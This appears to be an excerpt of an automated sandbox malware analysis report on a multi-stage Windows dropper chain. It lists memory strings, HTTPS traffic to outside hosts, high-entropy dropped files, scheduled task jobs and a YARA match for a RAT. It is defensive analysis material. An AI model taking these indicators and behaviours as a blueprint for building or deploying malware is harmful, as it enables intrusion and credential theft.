Source: cc6f25572f.exe, 00000011.00000003.2767237610.000001D66992A000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2767999680.000001D66992A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/auth/chromewebstore.readonlyF6033547
Source: cc6f25572f.exe, 00000011.00000003.2766661259.000001D669926000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2766596417.000001D669913000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2874665665.000001D66991B000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2767237610.000001D66992A000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2893696860.000001D66991C000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2767999680.000001D66992A000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000002.2919171490.000001D66990D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/auth/chromewebstore2ure
Source: cc6f25572f.exe, 00000011.00000003.2767366866.000001D66991B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/auth/sierra
Source: cc6f25572f.exe, 00000011.00000003.2766596417.000001D669913000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2767237610.000001D66992A000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2767408832.000001D66991F000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2767999680.000001D66992A000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2766984113.000001D66991A000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2767366866.000001D66991B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/auth/sierrasandbox
Source: cc6f25572f.exe, 00000011.00000003.2766661259.000001D669926000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2766596417.000001D669913000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2767237610.000001D66992A000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2767999680.000001D66992A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/auth/sierrasandbox7Eult
Source: cc6f25572f.exe, 00000011.00000003.2767999680.000001D669920000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2767408832.000001D66991F000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2766984113.000001D66991A000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2767366866.000001D66991B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/auth/sierrasandboxS
Source: 142c991362.exe, 0000002C.00000003.3762021731.0000000005869000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: 142c991362.exe, 0000002C.00000003.3762021731.0000000005869000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: cd2469328d.exe, 0000000B.00000003.2662924550.000000000365E000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2742956542.0000000005F5B000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 00000023.00000003.3650480626.0000000006323000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3762021731.0000000005869000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 142c991362.exe, 0000002C.00000003.3762021731.0000000005869000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: cd2469328d.exe, 0000000B.00000003.2662924550.000000000365E000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2742956542.0000000005F5B000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 00000023.00000003.3650480626.0000000006323000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3762021731.0000000005869000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: cc6f25572f.exe, 00000011.00000003.2765856821.000001D6698F7000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2765856821.000001D6698F4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html
Source: 2e4e1b8516.exe, 0000002D.00000003.3733054470.0000000001647000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: unknown Network traffic detected: HTTP traffic on port 50145 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50168 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown Network traffic detected: HTTP traffic on port 50174 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50151 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50174
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50177
Source: unknown Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50180
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown Network traffic detected: HTTP traffic on port 50180 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50125 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50177 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50186
Source: unknown Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50185
Source: unknown Network traffic detected: HTTP traffic on port 50186 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50189
Source: unknown Network traffic detected: HTTP traffic on port 50134 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50162 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown Network traffic detected: HTTP traffic on port 50189 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50128
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown Network traffic detected: HTTP traffic on port 50150 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50111 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown Network traffic detected: HTTP traffic on port 50149 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50112 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50134
Source: unknown Network traffic detected: HTTP traffic on port 50158 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50140
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown Network traffic detected: HTTP traffic on port 50169 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50149
Source: unknown Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50141
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50145
Source: unknown Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50151
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50150
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50141 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50157
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50158
Source: unknown Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50162
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown Network traffic detected: HTTP traffic on port 50140 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown Network traffic detected: HTTP traffic on port 50041 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50168
Source: unknown Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50169
Source: unknown Network traffic detected: HTTP traffic on port 50157 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50185 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49806 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49814 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49822 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49823 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49831 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49832 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49837 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49843 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49844 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49852 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49858 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49863 version: TLS 1.2
Source: unknown HTTPS traffic detected: 216.58.208.238:443 -> 192.168.2.4:49867 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49875 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49876 version: TLS 1.2
Source: unknown HTTPS traffic detected: 216.58.208.238:443 -> 192.168.2.4:49874 version: TLS 1.2
Source: unknown HTTPS traffic detected: 142.250.181.65:443 -> 192.168.2.4:49882 version: TLS 1.2
Source: unknown HTTPS traffic detected: 142.250.181.65:443 -> 192.168.2.4:49884 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49885 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49897 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.4:49899 version: TLS 1.2
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49904 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.4:49908 version: TLS 1.2
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49916 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:50060 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:50068 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:50120 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:50125 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:50128 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:50134 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:50140 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:50141 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:50157 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:50158 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:50162 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:50168 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:50169 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:50174 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:50177 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:50180 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.89.115:443 -> 192.168.2.4:50185 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:50186 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.4:50189 version: TLS 1.2

Spam, unwanted Advertisements and Ransom Demands
barindex
Writes many files with high entropy
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[3].exe entropy: 7.99505709583 Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1019807001\fed209a298.exe entropy: 7.99505709583 Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\output[1].png entropy: 7.99450935401 Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe File created: C:\Program Files\Windows Media Player\1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f entropy: 7.99450935401 Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe File created: C:\Program Files\Windows Media Player\1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5fzip entropy: 7.99352358954 Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe File created: C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\output[1].png entropy: 7.99450935401 Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019807001\fed209a298.exe File created: C:\Users\user\AppData\Local\Temp\main\file.bin entropy: 7.99994867689 Jump to dropped file
Source: C:\Windows\System32\cmd.exe File created: C:\Users\user\AppData\Local\Temp\main\file.zip (copy) entropy: 7.99994867689 Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe File created: C:\Users\user\AppData\Local\Temp\main\extracted\file_7.zip entropy: 7.9992359396 Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe File created: C:\Users\user\AppData\Local\Temp\main\extracted\file_6.zip entropy: 7.99771683584 Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe File created: C:\Users\user\AppData\Local\Temp\main\extracted\file_5.zip entropy: 7.99772074518 Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\fuckingdllENCR[1].dll entropy: 7.99823177189 Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe File created: C:\Users\user\AppData\Local\Temp\main\extracted\file_4.zip entropy: 7.99772354314 Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe File created: C:\Users\user\AppData\Local\Temp\main\extracted\file_3.zip entropy: 7.99772670895 Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe File created: C:\Users\user\AppData\Local\Temp\main\extracted\file_2.zip entropy: 7.99772941561 Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe File created: C:\Users\user\AppData\Local\Temp\main\extracted\file_1.zip entropy: 7.99773141174 Jump to dropped file

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: C:\Program Files\Windows Media Player\1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f, type: DROPPED Matched rule: Detects images embedding archives. Observed in TheRat RAT. Author: ditekSHen
Source: C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\output[1].png, type: DROPPED Matched rule: Detects images embedding archives. Observed in TheRat RAT. Author: ditekSHen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\output[1].png, type: DROPPED Matched rule: Detects images embedding archives. Observed in TheRat RAT. Author: ditekSHen
Binary is likely a compiled AutoIt script file
Source: 2e4e1b8516.exe, 0000002D.00000000.3476591551.00000000006A2000.00000002.00000001.01000000.0000001E.sdmp String found in binary or memory: This is a third-party compiled AutoIt script. memstr_1c72478d-5
Source: 2e4e1b8516.exe, 0000002D.00000000.3476591551.00000000006A2000.00000002.00000001.01000000.0000001E.sdmp String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer memstr_715eacc6-a
Drops large PE files
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe File dump: service123.exe.19.dr 314617856 Jump to dropped file
Drops password protected ZIP file
Source: file.bin.24.dr Zip Entry: encrypted
PE file contains section with special chars
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: .idata
Source: skotes.exe.0.dr Static PE information: section name:
Source: skotes.exe.0.dr Static PE information: section name: .idata
Source: random[1].exe1.5.dr Static PE information: section name:
Source: random[1].exe1.5.dr Static PE information: section name: .idata
Source: random[1].exe1.5.dr Static PE information: section name:
Source: 5cda6c90d7.exe.5.dr Static PE information: section name:
Source: 5cda6c90d7.exe.5.dr Static PE information: section name: .idata
Source: 5cda6c90d7.exe.5.dr Static PE information: section name:
Source: cc6b47fc15.exe.5.dr Static PE information: section name:
Source: cc6b47fc15.exe.5.dr Static PE information: section name: .idata
Source: cc6b47fc15.exe.5.dr Static PE information: section name:
Source: random[2].exe0.5.dr Static PE information: section name:
Source: random[2].exe0.5.dr Static PE information: section name: .idata
Source: random[2].exe0.5.dr Static PE information: section name:
Source: b6638733e4.exe.5.dr Static PE information: section name:
Source: b6638733e4.exe.5.dr Static PE information: section name: .idata
Source: b6638733e4.exe.5.dr Static PE information: section name:
Source: random[2].exe1.5.dr Static PE information: section name:
Source: random[2].exe1.5.dr Static PE information: section name: .idata
Source: random[2].exe1.5.dr Static PE information: section name:
Source: b05c9e01f3.exe.5.dr Static PE information: section name:
Source: b05c9e01f3.exe.5.dr Static PE information: section name: .idata
Source: b05c9e01f3.exe.5.dr Static PE information: section name:
Source: random[2].exe2.5.dr Static PE information: section name:
Source: random[2].exe2.5.dr Static PE information: section name: .idata
Source: random[2].exe2.5.dr Static PE information: section name:
Source: c9d0f96e57.exe.5.dr Static PE information: section name:
Source: c9d0f96e57.exe.5.dr Static PE information: section name: .idata
Source: c9d0f96e57.exe.5.dr Static PE information: section name:
Source: random[4].exe.5.dr Static PE information: section name:
Source: random[4].exe.5.dr Static PE information: section name: .idata
Source: random[4].exe.5.dr Static PE information: section name:
Source: 142c991362.exe.5.dr Static PE information: section name:
Source: 142c991362.exe.5.dr Static PE information: section name: .idata
Source: 142c991362.exe.5.dr Static PE information: section name:
Source: random[3].exe1.5.dr Static PE information: section name:
Source: random[3].exe1.5.dr Static PE information: section name: .idata
Source: 35f0a75b93.exe.5.dr Static PE information: section name:
Source: 35f0a75b93.exe.5.dr Static PE information: section name: .idata
Source: random[3].exe2.5.dr Static PE information: section name:
Source: random[3].exe2.5.dr Static PE information: section name: .idata
Source: 54682ac64c.exe.5.dr Static PE information: section name:
Source: 54682ac64c.exe.5.dr Static PE information: section name: .idata
Abnormal high CPU Usage
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Process Stats: CPU usage > 49%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process Stats: CPU usage > 49%
Creates files inside the system directory
Source: C:\Users\user\Desktop\file.exe File created: C:\Windows\Tasks\skotes.job Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe File created: C:\Windows\Tasks\Gxtuum.job
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\output[1].png
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\json[1].json
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\sendMessage[1].json
Deletes files inside the Windows folder
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe File deleted: C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\output[1].png
Detected potential crypto function
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_008978BB 0_2_008978BB
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00897049 0_2_00897049
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00898860 0_2_00898860
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_008931A8 0_2_008931A8
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00854B30 0_2_00854B30
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00854DE0 0_2_00854DE0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00892D10 0_2_00892D10
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_0089779B 0_2_0089779B
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00887F36 0_2_00887F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 1_2_009E78BB 1_2_009E78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 1_2_009E7049 1_2_009E7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 1_2_009E8860 1_2_009E8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 1_2_009E31A8 1_2_009E31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 1_2_009A4B30 1_2_009A4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 1_2_009A4DE0 1_2_009A4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 1_2_009E2D10 1_2_009E2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 1_2_009E779B 1_2_009E779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 1_2_009D7F36 1_2_009D7F36
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: 8_2_00331000 8_2_00331000
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: 8_2_00334C8C 8_2_00334C8C
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: 8_2_00346F3A 8_2_00346F3A
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: 10_2_00331000 10_2_00331000
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: 10_2_00334C8C 10_2_00334C8C
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: 10_2_00346F3A 10_2_00346F3A
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: 11_3_00D8C90C 11_3_00D8C90C
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: 11_3_00D8D100 11_3_00D8D100
Enables security privileges
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe Process token adjusted: Security
Found potential string decryption / allocating functions
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: String function: 00335190 appears 92 times
